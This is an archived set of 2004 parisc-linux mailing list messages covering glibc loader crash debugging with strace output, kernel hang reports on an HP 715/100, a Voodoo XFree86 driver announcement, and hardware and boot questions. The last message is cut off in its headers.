Original-X-From: soete.joel@tiscali.be  Wed Feb 18 10:25:56 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C68BF48BD
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 10:25:55 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AtVSF-0005f4-00; Wed, 18 Feb 2004 18:25:47 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 18 Feb 2004 18:25:46 +0100
In-Reply-To: <20040218163927.GC9497@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 18 Feb 2004 17:25:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20873

Carlos,

>>> > But now I need more to try to complete job because:
>> > make[2]: *** [/Develop/parisc-linux/build/glibc/sunrpc/xbootparam_prot.stmp]
>
>This is the first time that the loader you built is used. If the loader
>is in anyway broke, it will *always* die here first. Just remember this
>glibc haiku when you are coding:
>
>	Loader code is bad.
>	Dying in sunrpc.
>	Blame relocations.
>
>:)

:)) (I was ignoring what an haiku is but now find it as a very good example)


r00-03  0000000000000000 000000004102b6fc 000000004100721f 00000000faf02040

>[snip] If you had a copy of your
/proc/<pid>/maps then you could decipher where 0x4102b6fc pointed.

First just to be sure: don't you speak better of r02=0x4100721f?

unfortunately when I discover dmesg, the process was already died :(
(I will see howto ?)

> > IASQ: 0000000000003580 0000000000003580 IAOQ: 0000000041007293 0000000041007297
> >  IIR: 0ec01095    ISR: 0000000000003580  IO
>: 000000000016b690
> >  CPU:        8   CR30: 000000003a038000 CR31: 00000000104a4000
> >  ORIG_R28: 0000000040170000
> >  IAOQ[0]: 0x41007293
> >  IAOQ[1]: 0x41007297
> >  RP(r2): 0x4100721f

>Odd, the insns you are executing are really close to
>your IAOQ addresses, so the functions are close together.

Thanks for advise, help and attention,
    Joel


----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:30:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Wed, 18 Feb 2004 19:40:04 +0100
Lines: 69
Approved: news@gmane.org
Message-ID: <402A4CA5000052CB@ocpmta2.freegates.net>
References: <402A42A10000569A@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623204 5682 80.91.229.3 (22 Nov 2014 02:26:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Wed Feb 18 11:40:09 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72DBB489E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 11:40:09 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AtWcA-0004ox-00; Wed, 18 Feb 2004 19:40:06 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 18 Feb 2004 19:40:04 +0100
In-Reply-To: <402A42A10000569A@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 18 Feb 2004 18:40:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20874

Carlos,

>>> > But now I need more to try to complete job because:
>> > make[2]: *** [/Develop/parisc-linux/build/glibc/sunrpc/xbootparam_prot.stmp]
>
Just to be more complet here is the full cmd:
CPP='/Develop/parisc-linux/xc/bin/hppa-linux-gcc -E -x c-header'  /Develop/parisc-linux/build/glibc/elf/ld.so.1
--library-path /Develop/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Develop/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/Develop/parisc-linux/build/glibc/nss:/Develop/parisc-linux/build/glibc/nis:/Develop/p
arisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/build/glibc/linuxthreads
/Develop/parisc-linux/build/glibc/sunrpc/rpcgen -Y ../scripts -c rpcsvc/bootparam_prot.x
-o /Develop/parisc-linux/build/glibc/sunrpc/xbootparam_prot.T

which fault immediately as strace confirm:
execve("/Develop/parisc-linux/build/glibc/elf/ld.so.1", ["/Develop/parisc-linux/build/glibc/elf/ld.so.1",
"--library-path", "/Develop/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Develop/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/Develop/parisc-linux/build/glibc/nss:/Develop/parisc-linux/build/glibc/nis:/Devel
op/parisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/build/glibc/linuxthreads",
"/Develop/parisc-linux/build/glibc/sunrpc/rpcgen", "-Y", "../scripts", "-c",
"rpcsvc/bootparam_prot.x", "-o", "/Develop/parisc-linux/build/glibc/sunrpc/xbootparam_prot.T"],
[/* 15 vars */]) = 0
newuname({sys="Linux", node="palx4000", ...}) = 0
brk(0)                                  = 0x4102d000
open("/Develop/parisc-linux/build/glibc/sunrpc/rpcgen", O_RDONLY) = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\2\0\17\0\0\0\1\0\1\16"..., 512)
= 512
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
= 0x40000000
mmap(0x10000, 77824, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) =
0x10000
mmap(0x32000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED,
3, 0x12000) = 0x32000
mmap(0x33000, 572, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,
-1, 0) = 0x33000
close(3)                                = 0
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/Develop/parisc-linux/build/glibc/PARISC32/libc.so.6", O_RDONLY) =
-1 ENOENT (No such file or directory)
stat64("/Develop/parisc-linux/build/glibc/PARISC32", 0xfaf01548) = -1 ENOENT
(No such file or directory)
open("/Develop/parisc-linux/build/glibc/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\16"..., 512)
= 512
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 1511008, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40001000
mprotect(0x40154000, 122464, PROT_NONE) = 0
mmap(0x40163000, 53248, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED,
3, 0x152000) = 0x40163000
mmap(0x40170000, 7776, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,
-1, 0) = 0x40170000
close(3)                                = 0
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV +++

I am very fluent in strace langage ( :) ) but I have the filling that libc.so.6
is wrong? What do you think?

Thanks again,
    Joel.

PS: I will stopped here and tommorrow will try update all stuff and see ;)

----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:30:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa laptop...
Date: Wed, 18 Feb 2004 15:18:59 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <20040218201859.GF21098@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623204 5684 80.91.229.3 (22 Nov 2014 02:26:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Wed Feb 18 13:18:21 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep01-mail.bloor.is.net.cable.rogers.com
	(fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4126C484B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 13:18:21 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep01-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040218201805.HLDV83660.fep01-mail.bloor.is.net.cable.rogers.com@systemhalted>
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 15:18:05 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (42% Sync Ratio [====......])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep01-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Wed,
	18 Feb 2004 15:18:05 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 18 Feb 2004 20:18:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20875


pa,

So I want to buy an hppa laptop... is anyone selling?

c.



From - Thu Nov 08 21:30:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hanging with kernels >= 2.4.22
Date: Wed, 18 Feb 2004 23:52:25 +0000
Lines: 93
Approved: news@gmane.org
Message-ID: <20040218235225.GA1623@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623204 5686 80.91.229.3 (22 Nov 2014 02:26:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: sdbrady@ntlworld.com  Wed Feb 18 16:52:20 2004
Return-Path: <sdbrady@ntlworld.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta06-svc.ntlworld.com (mta06-svc.ntlworld.com [62.253.162.46])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E07D484B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 16:52:19 -0700 (MST)
Original-Received: from calypso ([62.254.21.7]) by mta06-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040218235218.SWXA1936.mta06-svc.ntlworld.com@calypso>
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 23:52:18 +0000
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1AtbUP-0000bX-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 23:52:25 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Stuart Brady <sdbrady@ntlworld.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 18 Feb 2004 23:52:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20876

Hi,

Firstly, thanks for the great work on parisc-linux. I'm amazed at how
well it's working. I hope I'll be able to give something back, soon.

I'm having problems with kernels >= 2.4.22 on a 715/100.

I'm looking at http://parisc-linux.org/faq/kernelbug-howto.html.
The guidelines at http://bugs.parisc-linux.org/Reporting.html (linked to
from http://parisc-linux.org/) appear to be out of date, so I'm not sure
if I'm doing the right thing. Console output is a little difficult for
me to provide at the moment.

While booting (i.e. while init is bringing up services, not during
kernel startup), or after booting, something appears to be hanging.
There doesn't seem to be much of a pattern regarding when the hangs
occur, although I've noticed them happening at the same time between
subsequent reboots, e.g. after starting statd, or trying to load the
mixer settings.

If I set the default runlevel to 1, I can log in using single user
mode. Before starting inetd, telnet to port 37 (time) fails. After
running /etc/init.d/inetd start, telnet to port 37 appears to work.
(I get a valid response, e.g. 0xc3de42ac), telnetting to port 13 seems
correct: "Wed Feb 18 20:04:23 2004." If I start sshd and remove
/etc/nologin, I can connect with ssh.

After the hang has taken place, I can still ping the machine.
Anything I type at the console is echoed correctly. The heartbeat's
working. Magic sysrq works. I can make connections to port 22, but
after the connection is made, nothing happens (I.e. I don't get the
SSH greeting.) If I telnet to port 37 or port 13, I get a valid
response - this indicates that inetd is running and still working.
If I have bash running I can use tab completion to list directory
contents.

But after a while, bash freezes during tab completion. Sometimes,
telnetting to port 13 ceases to work. Still, I can ping the machine,
text is echoed, I even get a response from telnetting to port 37,
the heartbeat works, and so does magic sysrq.

uname -a reports:

Linux 1986u10 2.4.24-pa0 #6 Wed Feb 18 16:58:09 GMT 2004 parisc GNU/Linux

I'm using gcc 3.3.3 (-0pre3) package to build the kernel, with
the binutils 2.14.90.0.7-5 package, and 2.4.24 from CVS. The same
thing happens with all of the pre-compiled packages from
http://cvs.parisc-linux.org/download/autobuild-kernels/32/
that I've tried newer than palinux-32-2.4.21-pa7.

Debian's kernel-image-2.4.17-32 and kernel-image-2.4.21-32 seem to work.
palinux-32-2.4.20-pa35, palinux-32-2.4.21-pa2 and palinux-32-2.4.21-pa7
work correctly. palinux-32-2.4.22-pa7, palinux-32-2.4.22-pa10 and
palinux-32-2.4.24-pa0 don't, though, nor do any of the 2.4.24 images
that I've built from CVS.

The BootRom version is 1.5. The memory in this machine was upgraded to
160MB. There's also an extra graphics card, which I'm not using at the
moment. The problem occurs regardless of whether I'm using stifb or
sticon.

Palo's command line is: 2/vmlinux root=/dev/sda6 HOME=/ console=tty0
sti=1 sti_font=VGA8x16 TERM=linux 

I've uploaded the System.map and config files:
   http://homepage.ntlworld.com/wholehog/System.map-32-2.4.24-pa0.gz
   http://homepage.ntlworld.com/wholehog/config-32-2.4.24-pa0

Also, when doing a fsck (ext3) with the new kernel, it got to the 70.1%
mark, and froze. 70% seems to be the beginning of a particular stage in
fsck's checking.

Typical /var/log/messages output is at:
   http://homepage.ntlworld.com/wholehog/messages-2.4.21-pa7
   http://homepage.ntlworld.com/wholehog/messages-2.4.24-pa0

This may be unrelated, but sometimes the keyboard isn't detected. This
seems to affect only the newer kernels, but I may be mistaken.

I can't seem to clear the PIM TOC info, and pressing the TOC button
doesn't seem be setting it. I think the TOC button works, because
pressing it up just after powering up results in the serial port being
used for the console - at least I assume it does, because it doesn't
use the graphics device.

I'd be very grateful for any help finding the cause of this. I'll be
happy to test anyone's patches in order to find out what's causing
things to break, or to test any fixes. Please let me know if there's
any more information or log output that would be of use.
-- 
Stuart Brady


From - Thu Nov 08 21:30:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree86: Voodoo/Voodoo2 driver
Date: Thu, 19 Feb 2004 00:52:12 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <1077151931.32327.1.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623205 5687 80.91.229.3 (22 Nov 2014 02:26:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:45 +0000 (UTC)
To: HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Feb 18 17:55:35 2004
Return-Path: <alan@lxorguk.ukuu.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk
	(cpc1-cwma1-5-0-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E6B2484B
	for <parisc-linux@parisc-linux.org>;
	Wed, 18 Feb 2004 17:55:34 -0700 (MST)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id
	i1J0qD0r032335
	for <parisc-linux@parisc-linux.org>; Thu, 19 Feb 2004 00:52:13 GMT
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id
	i1J0qCc2032333
	for parisc-linux@parisc-linux.org; Thu, 19 Feb 2004 00:52:12 GMT
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 19 Feb 2004 00:55:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20877

Wish you could do something with your old Voodoo or Voodoo2 graphics
cards ?
Unable to find tools old enough to build Glide2 ?
Unable to port Glide2 to your new system ?
Want to use the 2D accelerator on the Voodoo2 ?
Want render acceleration ?

The department of retro-optimisation(*) proudly presents the 1.0 Beta
release of a Voodoo and Voodoo2 driver for XFree86 4.3.

-	640x480, 800x600, 1024x768 - and custom non glide modes
-	1024x768 on non-SLI Voodoo2
-	DGA
-	2D acceleration of most operations on Voodoo2
-	Render acceleration (Voodoo2)
-	No glide library needed
-	Supports SLI configurations although it doesnt use SLI

No DRI (yet), although if the folks hacking Glide3 can get Voodoo1/2
working again that should be possible to do. No Xv (anyone know about
YAB texture formats so I can use them for YUV422/YCbCr ?) and no
pixcache at the moment.

It may also have endian issues so I'd love to hear from parisc hackers
how well it works.

And you thought it was just another old dead video card...

	ftp://people.redhat.com/alan/XFree86/Voodoo

including a compiled driver mode for Fedora Core 1 and 2T1.


Alan

(*) With more than a little help from Ghozlane Toumi's sstfb work



From - Thu Nov 08 21:30:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Telek <johnt@cybertech.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B2000 and FXE GFX
Date: Thu, 19 Feb 2004 15:41:02 +1100
Lines: 7
Approved: news@gmane.org
Message-ID: <20040219154102.A20216@t1000>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623205 5694 80.91.229.3 (22 Nov 2014 02:26:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: johnt@cybertech.net.au  Wed Feb 18 21:19:38 2004
Return-Path: <johnt@cybertech.net.au>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cybertech.net.au (t1000.cybertech.net.au [210.8.215.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86A8A4843
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 21:19:36 -0700 (MST)
Original-Received: (from johnt@localhost)
	by cybertech.net.au (8.11.6/8.11.6) id i1J4f2P20222
	for parisc-linux@lists.parisc-linux.org; Thu, 19 Feb 2004 15:41:02 +1100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 19 Feb 2004 04:19:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20878

As I only have a slow modem, has anyone got a B2000 with a working X config for an FXE gfx card ???
if so, what version of X please.

Cheers,
  John



From - Thu Nov 08 21:30:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: PA linux.
Date: Wed, 18 Feb 2004 23:06:00 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20040219060600.GA13916@colo.lackof.org>
References: <20040218095513.XVFQ367.mail@VALHALLA>
	<D23E0231-622A-11D8-B017-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623205 5696 80.91.229.3 (22 Nov 2014 02:26:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:45 +0000 (UTC)
Cc: Cenk KARAG?Z <cenk.karagoz@enter.com.tr>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VAR?NE <varenet@esiee.fr>
Original-X-From: grundler@lackof.org  Wed Feb 18 23:06:02 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5818D4843
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Feb 2004 23:06:02 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 62DD5298050; Wed, 18 Feb 2004 23:06:01 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 13605-08; Wed, 18 Feb 2004 23:06:00 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C6139298028; Wed, 18 Feb 2004 23:06:00 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <D23E0231-622A-11D8-B017-0030656F07A2@esiee.fr>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 19 Feb 2004 06:06:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20879

On Wed, Feb 18, 2004 at 04:55:06PM +0100, Thibaut VAR?NE wrote:
> >But.. In the boot time,ISL (by the way ISL vers?ISL revision A.00.38 
> >OCT, 1994) say:
> >
> >ISL booting hpux
> 
> well this is pretty self explanatory... you' re booting HPUX here.

exactly. there's a good chance the auto boot primary is still pointing
at the scsi.6 disk. If he has two disks installed then debian will
get installed on scsi.5 (sda).

grant


From - Thu Nov 08 21:30:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2000 and FXE GFX
Date: Wed, 18 Feb 2004 23:18:46 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20040219061846.GB13916@colo.lackof.org>
References: <20040219154102.A20216@t1000>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623206 5701 80.91.229.3 (22 Nov 2014 02:26:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Telek <johnt@cybertech.net.au>
Original-X-From: grundler@lackof.org  Wed Feb 18 23:18:48 2004
Return-Path: <grundler@lackof.org>
